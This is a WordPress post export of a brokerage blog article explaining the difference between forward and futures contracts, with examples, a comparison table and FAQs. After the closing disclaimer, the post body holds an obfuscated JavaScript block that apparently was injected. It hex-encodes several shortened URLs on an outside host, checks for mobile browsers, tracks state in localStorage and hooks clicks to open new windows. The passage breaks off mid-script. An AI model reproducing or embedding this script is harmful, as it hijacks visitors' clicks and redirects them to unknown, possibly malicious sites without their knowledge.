{"id":7216,"date":"2024-04-04T11:41:00","date_gmt":"2024-04-04T11:41:00","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=7216"},"modified":"2025-06-03T05:41:00","modified_gmt":"2025-06-03T05:41:00","slug":"difference-between-a-forward-and-future-contract","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/","title":{"rendered":"Understanding the Difference Between Forward and Future Contract"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Derivative_Trading\" >Derivative Trading<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Forward_Contract_Meaning\" >Forward Contract Meaning<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Types_of_Forward_Contracts\" >Types of Forward Contracts<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Forward_Contract_Example\" >Forward Contract Example<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Future_Contract_Meaning\" >Future Contract Meaning<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Futures_Contract_Example\" >Futures Contract Example<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#What_is_the_Difference_Between_Forward_and_Future_Contracts\" >What is the Difference Between Forward and Future Contracts<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Negotiation_Process\" >Negotiation Process<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Customisation\" >Customisation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Risk_Management\" >Risk Management<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Market_Liquidity\" >Market Liquidity<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Regulation\" >Regulation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Things_You_Must_Keep_in_Mind_Forward_vs_Future_Contracts\" >Things You Must Keep in Mind: Forward vs Future Contracts<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#FAQs_Difference_Between_Forward_and_Future_Contract\" >FAQs |&nbsp; Difference Between Forward and Future Contract<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/derivatives\/\">Derivatives<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Understanding the Difference Between Forward and Future Contract<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Are you also one of those traders who often get confused between forward and future contracts? Not a big deal! These derivatives trading contracts seem to confuse almost everyone. What are they, and what is the actual difference between forward and future contracts? Let us understand them today with a forward and future contract example.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, before we jump onto the difference between forward and future contracts, you must understand derivatives trading. What is derivatives trading, and how are forward and future contracts related to it?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us take a look!<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-derivative-trading-\"><span class=\"ez-toc-section\" id=\"Derivative_Trading\"><\/span><strong>Derivative Trading<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">It is a type of financial trading that allows investors to speculate on price movements and manage their risk. In derivatives trading, you don&#8217;t buy or sell the actual asset (such as stocks, commodities, or currencies) itself. Instead, you buy or sell contracts based on the value of that asset. These contracts derive their value from the underlying asset.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Forward and future contracts are two types of <a href=\"https:\/\/shoonya.com\/blog\/what-are-derivatives\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">derivatives<\/mark><\/a>. Investors use them for hedging, speculation, and arbitrage purposes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">They help investors manage the risk element by locking in prices for future transactions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, let us understand the meaning of each in detail.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-forward-contract-meaning-\"><span class=\"ez-toc-section\" id=\"Forward_Contract_Meaning\"><\/span><strong>Forward Contract Meaning<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Forward contracts are agreements made between a buyer and a seller to trade something in the future at a certain price. They are not conducted through an official trading platform. Also, both parties can change the terms of forward contracts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>There&#8217;s only one date when everything is settled: the end of the agreement.<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Traders use forward contracts to make sure the price of what they&#8217;re trading doesn&#8217;t change unexpectedly.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here comes the main part!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Since they&#8217;re private, there&#8217;s a risk that one party might default, causing counterparty risk.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Thus, in simple terms, a forward contract is a formal and customisable deal between two parties. It may be to buy or sell an asset on a future date and at a specific price.<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Essentially, it&#8217;s like locking in a price for a future transaction, which can help manage risk and uncertainty.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"2-types-of-forward-contracts-\"><span class=\"ez-toc-section\" id=\"Types_of_Forward_Contracts\"><\/span><strong>Types of Forward Contracts<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">There are three main types of forward contracts in India:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Closed Outright Forward| Currency Forward<\/strong><strong><br><\/strong>A type of forward contract in which two parties agree to exchange currencies at a future date for a predetermined price. This helps protect against exchange rate fluctuations.<\/li>\n\n\n\n<li><strong>Flexible Forward<\/strong><strong><br><\/strong>This forward contract allows the buyer to fix the exchange rate between two set dates for a specific amount. It offers flexibility in timing and amount exchanged.<\/li>\n\n\n\n<li><strong>Long-Dated Forward<\/strong><strong><br><\/strong>This contract has a settlement date longer than one year. It is used to hedge long-term exposures like currency or interest rates, with maturities of up to 10 years.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"3-forward-contract-example-\"><span class=\"ez-toc-section\" id=\"Forward_Contract_Example\"><\/span><strong>Forward Contract Example<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Suppose a farmer expects to harvest 1,000 bushels of wheat in six months. However, price fluctuations worry him.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, what can he do?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To reduce the risk element, he enters into a forward contract with a buyer. The agreement is to sell the 1,000 bushels at a fixed price of \u20b9500 per bushel in six months. Whether the market price rises or falls, both parties are bound to this agreement.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-future-contract-meaning-\"><span class=\"ez-toc-section\" id=\"Future_Contract_Meaning\"><\/span><strong>Future Contract Meaning<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This type of contract in derivatives trading is a standardised agreement. Here, both parties enter into an agreement to buy or sell a specified asset at a predetermined price and date in the future.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But what&#8217;s the main difference between a forward and future contract?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Future contracts are commonly traded on organised exchanges. Here, parties may enter into future contracts for various commodities, currencies, interest rates, and stock market indices.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, what does a standardised contract mean?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This means that for future contracts, this element promotes liquidity and transparency in the market. It benefits both the participants of the contract.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The standardised nature of futures contracts ensures that all contracts within a particular market are identical regarding contract size, delivery date, and quality of the underlying asset.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The market for futures is usually very active. Investors can easily join or leave whenever they want.<\/li>\n\n\n\n<li>These contracts are often used by people who speculate on price changes.&nbsp;<\/li>\n\n\n\n<li>They usually close their contracts before they&#8217;re due, so actual buying or selling rarely happens. Instead, they settle with cash.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Unlike forward contracts, futures contracts are highly regulated and traded publicly on exchanges, providing liquidity and transparency to the market.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"5-futures-contract-example-\"><span class=\"ez-toc-section\" id=\"Futures_Contract_Example\"><\/span><strong>Futures Contract Example<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">An investor believes that the price of crude oil will increase in the next three months. To capitalise on this prediction, he buys a futures contract for 100 barrels of oil at \u20b94,000 per barrel.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, if the price of oil indeed rises, the investor can sell the futures contract at a higher price before its expiration date.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">He will profit from the price difference without physically owning the oil.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us take a quick look at the difference between future and forward contracts in the market.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"6-what-is-the-difference-between-forward-and-future-contracts-\"><span class=\"ez-toc-section\" id=\"What_is_the_Difference_Between_Forward_and_Future_Contracts\"><\/span><strong>What is the Difference Between Forward and Future Contracts<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"975\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/Difference-Between-Forward-and-Future-Contracts-1.jpg\" alt=\"Difference Between Forward and Future Contracts\" class=\"wp-image-12833\" srcset=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/Difference-Between-Forward-and-Future-Contracts-1.jpg 1200w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/Difference-Between-Forward-and-Future-Contracts-1-300x244.jpg 300w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/Difference-Between-Forward-and-Future-Contracts-1-1024x832.jpg 1024w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/Difference-Between-Forward-and-Future-Contracts-1-768x624.jpg 768w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><figcaption class=\"wp-element-caption\"><strong>Difference Between Forward and Future Contracts<\/strong><\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Aspect<\/td><td>Forward Contract<\/td><td>Futures Contract<\/td><\/tr><tr><td>Negotiation Process<\/td><td>Privately negotiated between parties.<\/td><td>Traded on exchanges, publicly accessible.<\/td><\/tr><tr><td>Customisation<\/td><td>Terms are customised to suit the needs of parties.<\/td><td>Terms are standardized by the exchange.<\/td><\/tr><tr><td>Risk Management<\/td><td>Higher counterparty risk; no clearinghouse involved.<\/td><td>The clearinghouse guarantees contract performance, minimizing counterparty risk.<\/td><\/tr><tr><td>Market Liquidity<\/td><td>Less liquid, not easily tradable.<\/td><td>Highly liquid, easily tradable on exchanges.<\/td><\/tr><tr><td>Regulation<\/td><td>Less regulated, traded over-the-counter (OTC).<\/td><td>Heavily regulated by market authorities.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-negotiation-process\"><span class=\"ez-toc-section\" id=\"Negotiation_Process\"><\/span>Negotiation Process<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Forward Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Negotiated privately between the two parties involved. This allows for flexibility in terms and conditions.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Futures Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;Traded on exchanges, making them accessible to the public and subject to the exchange&#8217;s rules and regulations.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-customisation\"><span class=\"ez-toc-section\" id=\"Customisation\"><\/span>Customisation<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Forward Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Parties can tailor the terms as per their specific needs and preferences. This allows greater flexibility.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Futures Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">These offer standardised terms as set by the exchange. This ensures uniformity and facilitates ease of trading.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-risk-management\"><span class=\"ez-toc-section\" id=\"Risk_Management\"><\/span>Risk Management<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Forward Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Involves higher counterparty risk as there is no intermediary involved to guarantee contract performance.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Futures Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Utilizes a clearinghouse that acts as an intermediary. This guarantees the performance of the contract and reduces counterparty risk.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"10-market-liquidity\"><span class=\"ez-toc-section\" id=\"Market_Liquidity\"><\/span>Market Liquidity<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Forward Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Generally less liquid as they are not traded on exchanges and may not have readily available buyers or sellers.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Futures Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Highly liquid due to being traded on exchanges, with a large number of buyers and sellers, ensuring ease of trading.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"11-regulation\"><span class=\"ez-toc-section\" id=\"Regulation\"><\/span>Regulation<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Forward Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Typically, they are less regulated as they are traded over-the-counter (OTC).<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Futures Contract<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;Subject to heavy regulation by market authorities and exchanges to ensure transparency, fairness, and stability in the market.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"12-things-you-must-keep-in-mind-forward-vs-future-contracts-\"><span class=\"ez-toc-section\" id=\"Things_You_Must_Keep_in_Mind_Forward_vs_Future_Contracts\"><\/span><strong>Things You Must Keep in Mind: Forward vs Future Contracts<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Forward and futures contracts are agreements where two parties agree to buy or sell an asset at a set price by a certain date.<\/li>\n\n\n\n<li>Forward contracts are private and flexible, settling at the end of the agreement and traded off-exchange (OTC).<\/li>\n\n\n\n<li>Futures contracts trade on exchanges, with daily price settlements until the contract&#8217;s end.<\/li>\n\n\n\n<li>Forward contracts have less oversight because they are privately negotiated.<\/li>\n\n\n\n<li>Forwards carry more counterparty risk compared to futures contracts.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"13-conclusion\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The key difference between forward and future contracts stems from how they operate and are overseen. Forward contracts involve private negotiations, providing flexibility. However, futures contracts are standardised and traded on exchanges. They ensure liquidity and minimise risk through a clearinghouse.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"14-faqs-difference-between-forward-and-future-contract\"><span class=\"ez-toc-section\" id=\"FAQs_Difference_Between_Forward_and_Future_Contract\"><\/span>FAQs |&nbsp; Difference Between Forward and Future Contract<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1712229810704\"><strong class=\"schema-faq-question\"><strong>What is the difference between forward price and future price?<\/strong><\/strong> <p class=\"schema-faq-answer\">Forward price is fixed at the contract&#8217;s beginning, while future price fluctuates daily on the exchange market.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1712229823825\"><strong class=\"schema-faq-question\"><strong>What is the difference between futures contracts and futures options?<\/strong><\/strong> <p class=\"schema-faq-answer\">A futures contract mandates buying or selling at a set date, whereas futures options grant the right, but not the obligation, to do so.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1712229835553\"><strong class=\"schema-faq-question\"><strong>What is the difference between a forward rate and a forward contract?<\/strong><\/strong> <p class=\"schema-faq-answer\">The forward rate is the agreed-upon future price in a forward contract, while the forward contract includes this rate and other exchange terms.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1712229852145\"><strong class=\"schema-faq-question\"><strong>What is the meaning of a forward contract?<\/strong><\/strong> <p class=\"schema-faq-answer\">A forward contract is a customised agreement to buy or sell an asset at a predetermined price on a specified future date.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return 